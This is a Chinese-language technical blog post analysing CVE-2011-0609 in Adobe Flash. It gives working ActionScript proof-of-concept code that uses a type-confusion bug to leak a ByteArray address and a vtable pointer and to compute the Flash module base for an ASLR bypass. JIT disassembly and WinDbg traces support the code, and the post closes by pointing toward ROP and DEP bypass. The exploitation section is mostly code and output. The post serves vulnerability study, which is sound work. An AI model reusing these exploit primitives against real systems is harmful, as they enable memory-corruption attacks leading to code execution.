Analysis of CVE-2011-0609 and Advance Exploit Technology

參考:

[1].http://www.vupen.com/blog/20110326.Technical_Analysis_and_Win7_Exploitation_Adobe_Flash_0Day_CVE-2011-0609.php
相關工具:
[1].SWFTools
[2].WinRABCDAsm\RABCDAsm
[3].Windbg

0×01.工具介紹
SWFTools用來編譯as腳本,編譯as腳本命令:
as3compile.exe poc.as -o poc.swf
注意生成文件的路徑。
WinRABCDAsm和RABAsm是一款可以直接修改ByteCode的工具,在調試Flash是很好用。WinRABCDAsm是RABAsm的GUI界面,用C#編寫,所以運行時首先
需要安裝微軟.Net Frame Work4.0 ,安裝完成後需要將RABAsm的目錄添加到Path環境變量,因爲WinRABCDAsm會調用RABAsm目錄裏面的exe文件,沒有
環境變量會爆各種錯誤。完成後就可以通過WinRABCDAsm.exe啓動,將要修改的SWF拖入,找到要修改的類和方法, 雙擊進行修改:

修改完成後點擊Reassemble可將字節碼重新打包編譯成swf文件(修改在原文件上,注意備份原文件)
WinDbg就不用說了.

0×02.關於CVE-2011-0609
該漏洞的利用方式五花八門,通過IE當然是第一種,後來看了下F-Secure爆出通過Excel利用該漏洞的攻擊樣本,後面Vupen又寫文章簡單描述了下該漏洞的高級利用方式(without Spary ,without javascript),這裏我們的POC也是參考該文章。

0×3. 漏洞成因
正常的AS如下:

package poc
{
        import flash.display.MovieClip;
        import flash.utils.ByteArray;
        public class safe extends MovieClip 
         {

                public function bla():ByteArray 
                {
                        return new ByteArray();
                }

                public function safe() 
                {
                        var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
                        t.length;
                }

        }
}

將上面代碼保存成as文件,用SWFTools編譯成swf,再用WinRABCDAsm修改字節碼。修改前的字節碼:

0×04 漏洞利用
爲了繞過ASLR,需要泄漏flash ocx控件的基地址。
泄漏基地址的過程分爲兩部:
1.泄漏ByteArray地址
2.泄漏ByteArray結構的虛函數地址
第一步可以通過混淆string類型和ByteArray類型實現,具體代碼如下

 public function bla():String 
                {
                        return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
                }
                public function blb():ByteArray
                {
                        var t:ByteArray = new ByteArray();
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        return t;
                }

                public function main() 
                {
                        var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:ByteArray = blb();
                        var o:uint = t.length;//t is confused as String Object
                        trace("[output] ByteArray Object:0x"+o.toString(16));
                }

下圖紅色標註爲ByteArray偏移0×10位置的指針。

返回結果:

接下來泄漏ByteArray結構的虛函數地址的代碼如下:

package poc
{
        import flash.display.MovieClip;
        import flash.utils.ByteArray;
        import flash.external.ExternalInterface;
        public class safe extends MovieClip
         {

                public function blc():Object
                {
                    return null;
                }
                public function bld(param:uint):uint
                {
                    var a:uint=parseInt(param);
                    a=a|0x00000007;
                    return a;
                }
                public function safe()
                {
                        var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();
                        var t3:uint=0x41414141;
                        var t0:uint=bld(t3);
                        var fakenumber:Number=new Number(t0);//t0 is confused as Number Object
                        trace("fakeunmber is :0x"+fakenumber.toString(16));
                }

        }
}

上面的代碼用來將0×41414141的地址混淆成一個Number對象,其中safe函數生成的jit code如下:

04c59ec9 8945f0          mov     dword ptr [ebp-10h],eax
04c59ecc eb71            jmp     04c59f3f
04c59ece 8b45c8          mov     eax,dword ptr [ebp-38h]
04c59ed1 8b7008          mov     esi,dword ptr [eax+8]
04c59ed4 8bb6d4020000    mov     esi,dword ptr [esi+2D4h]
04c59eda 8d8d64ffffff    lea     ecx,[ebp-9Ch]
04c59ee0 898564ffffff    mov     dword ptr [ebp-9Ch],eax
04c59ee6 8b06            mov     eax,dword ptr [esi]
04c59ee8 51              push    ecx
04c59ee9 6a00            push    0
04c59eeb 56              push    esi
04c59eec ffd0            call    eax {Flash10h!CreateInstance+0x150b6c (6524c370)}==============================>   bld()
04c59eee 83c40c          add     esp,0Ch
04c59ef1 8945f0          mov     dword ptr [ebp-10h],eax
04c59ef4 8b75f0          mov     esi,dword ptr [ebp-10h]
04c59ef7 8975d0          mov     dword ptr [ebp-30h],esi
04c59efa c745a880e3a604  mov     dword ptr [ebp-58h],4A6E380h
04c59f01 c745d841414141  mov     dword ptr [ebp-28h],41414141h
04c59f08 c745ac00e7a604  mov     dword ptr [ebp-54h],4A6E700h
04c59f0f 8b45c8          mov     eax,dword ptr [ebp-38h]
04c59f12 8b7008          mov     esi,dword ptr [eax+8]
04c59f15 8bb6d8020000    mov     esi,dword ptr [esi+2D8h]
04c59f1b 8d8d60ffffff    lea     ecx,[ebp-0A0h]
04c59f21 898560ffffff    mov     dword ptr [ebp-0A0h],eax
04c59f27 c78564ffffff41414141 mov dword ptr [ebp-9Ch],41414141h
04c59f31 8b06            mov     eax,dword ptr [esi]
04c59f33 51              push    ecx
04c59f34 6a01            push    1
04c59f36 56              push    esi
04c59f37 ffd0            call    eax                            ==============================>   bld()
04c59f39 83c40c          add     esp,0Ch
04c59f3c 8945f0          mov     dword ptr [ebp-10h],eax
04c59f3f 8b75f0          mov     esi,dword ptr [ebp-10h]
04c59f42 8975e0          mov     dword ptr [ebp-20h],esi
04c59f45 c745b080e3a604  mov     dword ptr [ebp-50h],4A6E380h
04c59f4c 6a00            push    0
04c59f4e 68380fa204      push    4A20F38h
04c59f53 53              push    ebx
04c59f54 e857a45e60      call    Flash10h!CreateInstance+0x148bac (652443b0)
04c59f59 83c40c          add     esp,0Ch
04c59f5c 8bd6            mov     edx,esi
04c59f5e 8b75a0          mov     esi,dword ptr [ebp-60h]
04c59f61 8b405c          mov     eax,dword ptr [eax+5Ch]
04c59f64 83c801          or      eax,1
04c59f67 8d8d60ffffff    lea     ecx,[ebp-0A0h]
04c59f6d c78560ffffff01000000 mov dword ptr [ebp-0A0h],1
04c59f77 899564ffffff    mov     dword ptr [ebp-9Ch],edx
04c59f7d 51              push    ecx
04c59f7e 6a01            push    1
04c59f80 50              push    eax
04c59f81 53              push    ebx
04c59f82 e8c9ae5f60      call    Flash10h!CreateInstance+0x15964c (65254e50)     ================== > Number()
04c59f87 83c410          add     esp,10h

Windbg調試時斷在Number()處:

0:005> p
eax=04aab711 ebx=04c4fa30 ecx=026cd3d4 edx=41414147 esi=00000000 edi=04a2f000
eip=04c84ec2 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040206
04c84ec2 e889ff6760      call    Flash10h!CreateInstance+0x15964c (65304e50)
0:005> p
eax=41414147 ebx=04c4fa30 ecx=00000006 edx=026cd3d4 esi=00000000 edi=04a2f000
eip=04c84ec7 esp=026cd3ac ebp=026cd484 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00040246
04c84ec7 83c410          add     esp,10h

返回的eax值爲41414147即僞造的Number對象地址。如果不理解爲何在bld函數中有個xor 7的操作,請看HaiFei Li的文章。
接下來就可以將0×41414141替換成第一步中泄漏的ByteArray的地址,並讀取混淆後的虛函數地址,之後根據虛函數就可以獲取基址了,
這裏需要注意的是在同一個as文件中進行混淆時發現並沒有成功,不知道何原因,將其放置在兩個as文件中,如下:

main.as:

package poc
{
        import flash.display.MovieClip;
        import flash.utils.ByteArray;
        import flash.external.ExternalInterface;
        public class main extends MovieClip 
         {

               
                public function bla():String 
                {
                        return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
                }
                public function blb():ByteArray
                {
                        var t:ByteArray = new ByteArray();
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        t.writeInt(1094795585);
                        return t;
                }

                public function main() 
                {
                        var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
                        var t:ByteArray = blb();
                        var o:uint = t.length;//t is confused as String Object
                        trace("[output] ByteArray Object:0x"+o.toString(16));
                        var base:uint=egg.get_base(o);
                        trace("[output] Virtual function Address:0x"+base.toString(16));
                        trace("[output] Flash Module Base Address:0x"+(base-0x00489b94).toString(16));
                }

        }
}

egg.as:

package poc {
        import flash.utils.ByteArray;
        public class egg
        {
            

                static public function blc():Object
                {
                    return null;
                }
                static public function bld(param:uint):uint
                {
                    var a:uint=param;
                    a=a|0x00000007;
                    return a;
                }
                static public function get_base(param:uint):uint
                {
                        trace("[output] arg from main:0x"+param.toString(16));
                        var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc();
                        var t3:uint=bld(param);
                        var fakenumber:Number=new Number(t3);
                       // trace("[output] ByteArray Object:0x"+fakenumber.toString(16));
                        var b:ByteArray = new ByteArray();
                        b.writeDouble(fakenumber);
                        var res:uint;
                        res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7];
                        return res;
                }

        }

    }

運行效果如下:

這樣我們就可以獲取模塊的基址,通過同樣的方式來獲取shellcode地址,構造ROP鏈,ByPass DEP…

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章